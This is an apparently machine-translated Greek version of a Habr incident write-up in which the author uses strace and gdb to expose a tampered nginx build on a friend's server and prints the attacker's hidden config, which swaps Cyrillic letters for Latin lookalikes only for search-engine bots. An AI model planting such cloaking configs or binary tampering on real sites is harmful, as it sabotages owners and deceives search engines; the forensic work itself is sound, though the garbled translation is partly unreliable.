Όταν το «α» δεν είναι ίσο με το «α». Στον απόηχο μιας αμυχής

Μια πολύ δυσάρεστη ιστορία συνέβη σε έναν από τους φίλους μου. Αλλά όσο δυσάρεστο ήταν για τον Μιχαήλ, τόσο διασκεδαστικό ήταν για μένα.

Πρέπει να πω ότι ο φίλος μου είναι αρκετά UNIX-χρήστης: μπορεί να εγκαταστήσει το σύστημα μόνος του mysql, php και κάντε απλές ρυθμίσεις nginx.
Και έχει μια ντουζίνα ή ενάμιση ιστοσελίδες αφιερωμένες σε εργαλεία κατασκευής.

Ένας από αυτούς τους ιστότοπους που είναι αφιερωμένοι στα αλυσοπρίονα βρίσκεται σταθερά στην κορυφή των μηχανών αναζήτησης. Αυτός ο ιστότοπος δεν είναι εμπορικός κριτικός, αλλά κάποιος συνήθισε να του επιτίθεται. Οτι DDoS, μετά ωμή βία, μετά γράφουν άσεμνα σχόλια και στέλνουν καταχρήσεις στο hosting και στο RKN.
Ξαφνικά, όλα ηρέμησαν και αυτή η ηρεμία αποδείχθηκε ότι δεν ήταν καλή και ο ιστότοπος άρχισε σταδιακά να φεύγει από τις πρώτες γραμμές των αποτελεσμάτων αναζήτησης.

Όταν το «α» δεν είναι ίσο με το «α». Στον απόηχο μιας αμυχής

Αυτό ήταν ένα ρητό, τότε η ίδια η ιστορία του διαχειριστή.

Πλησίαζε η ώρα του ύπνου όταν χτύπησε το τηλέφωνο: «Σαν, δεν θα κοιτάς τον διακομιστή μου; Μου φαίνεται ότι με χάκαραν, δεν μπορώ να το αποδείξω, αλλά το συναίσθημα δεν με άφησε για τρίτη εβδομάδα. Μήπως ήρθε η ώρα να πάρω θεραπεία για την παράνοια;»

Ακολούθησε μια συζήτηση μισής ώρας η οποία συνοψίζεται ως εξής:

  • το χώμα για hacking ήταν αρκετά γόνιμο.
  • ένας εισβολέας θα μπορούσε να αποκτήσει δικαιώματα υπερχρήστη.
  • η επίθεση (αν έγινε) στοχεύτηκε συγκεκριμένα σε αυτόν τον ιστότοπο.
  • Οι προβληματικές περιοχές έχουν διορθωθεί και απλά πρέπει να καταλάβετε εάν υπήρξε κάποια διείσδυση.
  • το hack δεν μπορούσε να επηρεάσει τον κώδικα του ιστότοπου και τις βάσεις δεδομένων.

Σχετικά με το τελευταίο σημείο.

Όταν το «α» δεν είναι ίσο με το «α». Στον απόηχο μιας αμυχής

Μόνο το λευκό frontend IP κοιτάζει τον κόσμο. Δεν υπάρχει ανταλλαγή μεταξύ των backend και του frontend εκτός από http(s), οι χρήστες/κωδικοί πρόσβασης είναι διαφορετικοί, δεν ανταλλάχθηκαν κλειδιά. Σε γκρίζες διευθύνσεις, όλες οι θύρες εκτός από το 80/443 είναι κλειστές. Οι λευκές IP backend είναι γνωστές μόνο σε δύο χρήστες, τους οποίους ο Mikhail εμπιστεύεται απόλυτα.

Εγκατεστημένο στο μπροστινό μέρος Debian 9 και μέχρι να γίνει η κλήση, το σύστημα απομονώνεται από τον κόσμο μέσω ενός εξωτερικού τείχους προστασίας και διακόπτεται.

«Εντάξει, δώσε μου πρόσβαση», αποφασίζω να αναβάλω τον ύπνο για μια ώρα. «Θα δω με τα μάτια μου».

Εδώ και περαιτέρω:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Ψάχνετε για ένα πιθανό hack

Ξεκινάω τον διακομιστή, πρώτα μέσα λειτουργία διάσωσης. Τοποθετώ τους δίσκους και τους ξεφυλλίζω auth-κούτσουρα, ιστορία, αρχεία καταγραφής συστήματος κ.λπ., όποτε είναι δυνατόν, ελέγχω τις ημερομηνίες δημιουργίας του αρχείου, αν και καταλαβαίνω ότι ένας κανονικός κροτίδα θα είχε «σαρώσει» πίσω του και ο Misha είχε ήδη «πατήσει» πολύ ενώ έψαχνε τον εαυτό του .

Ξεκινάω σε κανονική λειτουργία, χωρίς να καταλαβαίνω ακόμα τι να ψάξω, μελετώ τις ρυθμίσεις. Καταρχήν με ενδιαφέρει nginx αφού, γενικά, δεν υπάρχει τίποτα άλλο στο frontend εκτός από αυτό.
Οι ρυθμίσεις παραμέτρων είναι μικρές, καλά δομημένες σε δώδεκα αρχεία, απλώς τις κοιτάζω Γάτα'ω ένα ένα. Όλα μοιάζουν να είναι καθαρά, αλλά ποτέ δεν ξέρεις αν έχασα κάτι περιλαμβάνουν, επιτρέψτε μου να κάνω μια πλήρη λίστα:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Δεν κατάλαβα: "Πού είναι η καταχώριση;"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Μια δεύτερη ερώτηση προστίθεται στην ερώτηση της λίστας: "Γιατί μια τόσο αρχαία έκδοση του nginx;"

Επιπλέον, το σύστημα πιστεύει ότι έχει εγκατασταθεί η πιο πρόσφατη έκδοση:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Καλώ:
- Μίσα, γιατί ξανασυναρμολόγησες nginx?
- Περίμενε, δεν ξέρω καν πώς να το κάνω αυτό!
- Εντάξει, πήγαινε για ύπνο...

nginx Είναι ξεκάθαρα ανακατασκευασμένο και η έξοδος της καταχώρισης χρησιμοποιώντας το "-T" είναι κρυμμένη για κάποιο λόγο. Δεν υπάρχουν πλέον αμφιβολίες για το hacking και μπορείτε απλά να το αποδεχτείτε και (καθώς ο Misha αντικατέστησε τον διακομιστή με έναν νέο ούτως ή άλλως) να θεωρήσετε το πρόβλημα λυμένο.

Και πράγματι, αφού κάποιος πήρε τα δικαιώματα ρίζα«Α, τότε έχει νόημα να το κάνουμε επανεγκατάσταση συστήματος, και ήταν άχρηστο να ψάξω τι δεν πήγαινε καλά εκεί, αλλά αυτή τη φορά η περιέργεια νίκησε τον ύπνο. Πώς μπορούμε να μάθουμε τι ήθελαν να μας κρύψουν;

Ας προσπαθήσουμε να εντοπίσουμε:

$ strace nginx -T

Το κοιτάμε, σαφώς δεν υπάρχουν αρκετές γραμμές στο trace a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Για πλάκα, ας συγκρίνουμε τα ευρήματα.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Νομίζω ότι μέρος του κώδικα /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

μεταφέρθηκε στη μορφή:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ή

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

επομένως η καταχώριση με "-T" δεν εμφανίζεται.

Αλλά πώς μπορούμε να δούμε τις ρυθμίσεις μας;

Αν η σκέψη μου είναι σωστή και το πρόβλημα είναι μόνο στη μεταβλητή ngx_dump_config Ας προσπαθήσουμε να το εγκαταστήσουμε χρησιμοποιώντας gdb, ευτυχώς υπάρχει ένα κλειδί --με-cc-opt -g παρόν και ελπίζουμε ότι η βελτιστοποίηση -Ο2 δεν θα μας βλάψει. Ταυτόχρονα, αφού δεν ξέρω πώς ngx_dump_config θα μπορούσε να υποβληθεί σε επεξεργασία σε περίπτωση «Τ»:, δεν θα καλέσουμε αυτό το μπλοκ, αλλά θα το εγκαταστήσουμε χρησιμοποιώντας περίπτωση 't':

Γιατί μπορείτε να χρησιμοποιήσετε το '-t' όσο και το '-T'Επεξεργασία μπλοκ if(ngx_dump_config) συμβαίνει μέσα if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Φυσικά, εάν ο κωδικός αλλάξει σε αυτό το μέρος και όχι σε περίπτωση «Τ»:, τότε η μέθοδός μου δεν θα λειτουργήσει.

Δοκιμή nginx.confΈχοντας ήδη λύσει το πρόβλημα πειραματικά, διαπιστώθηκε ότι απαιτείται μια ελάχιστη διαμόρφωση για να λειτουργήσει το κακόβουλο λογισμικό nginx τύπος:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Θα το χρησιμοποιήσουμε για συντομία στο άρθρο.

Εκκινήστε το πρόγραμμα εντοπισμού σφαλμάτων

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Βήμα βήμα:

  • ορίστε ένα σημείο διακοπής στη συνάρτηση κύριος()
  • εκκινήστε το πρόγραμμα
  • αλλάξτε την τιμή της μεταβλητής που καθορίζει την έξοδο της διαμόρφωσης ngx_dump_config=1
  • συνεχίστε/τερματίστε το πρόγραμμα

Όπως μπορούμε να δούμε, η πραγματική διαμόρφωση διαφέρει από τη δική μας, επιλέγουμε ένα παρασιτικό κομμάτι από αυτό:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ας ρίξουμε μια ματιά στο τι συμβαίνει εδώ με τη σειρά.

Προσδιορίζεται User-Agent's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Εξαιρούνται οι σελίδες υπηρεσιών wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Και για όσους εμπίπτουν και στις δύο παραπάνω προϋποθέσεις

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

στο κείμενο html- οι σελίδες αλλάζουν 'Ο' επί "ο" и 'ΕΝΑ' επί 'ένα':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Σωστά, η μόνη λεπτότητα είναι αυτή 'a' != 'a' όπως ακριβώς 'o' != 'o':

Όταν το «α» δεν είναι ίσο με το «α». Στον απόηχο μιας αμυχής

Έτσι, τα bots μηχανών αναζήτησης λαμβάνουν, αντί για κανονικό 100% κυριλλικό κείμενο, τροποποιημένα σκουπίδια αραιωμένα με λατινικά 'ένα' и "ο". Δεν τολμώ να συζητήσω πώς αυτό επηρεάζει το SEO, αλλά είναι απίθανο ένα τέτοιο συνονθύλευμα γραμμάτων να έχει θετικό αντίκτυπο στις θέσεις στα αποτελέσματα αναζήτησης.

Τι να πω ρε παιδιά με φαντασία.

παραπομπές

Εντοπισμός σφαλμάτων με GDB
gdb(1) — Man page Linux
strace(1) — man page Linux
Nginx - Ενότητα ngx_http_sub_module
Σχετικά με πριόνια, αλυσοπρίονα και ηλεκτρικά πριόνια

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο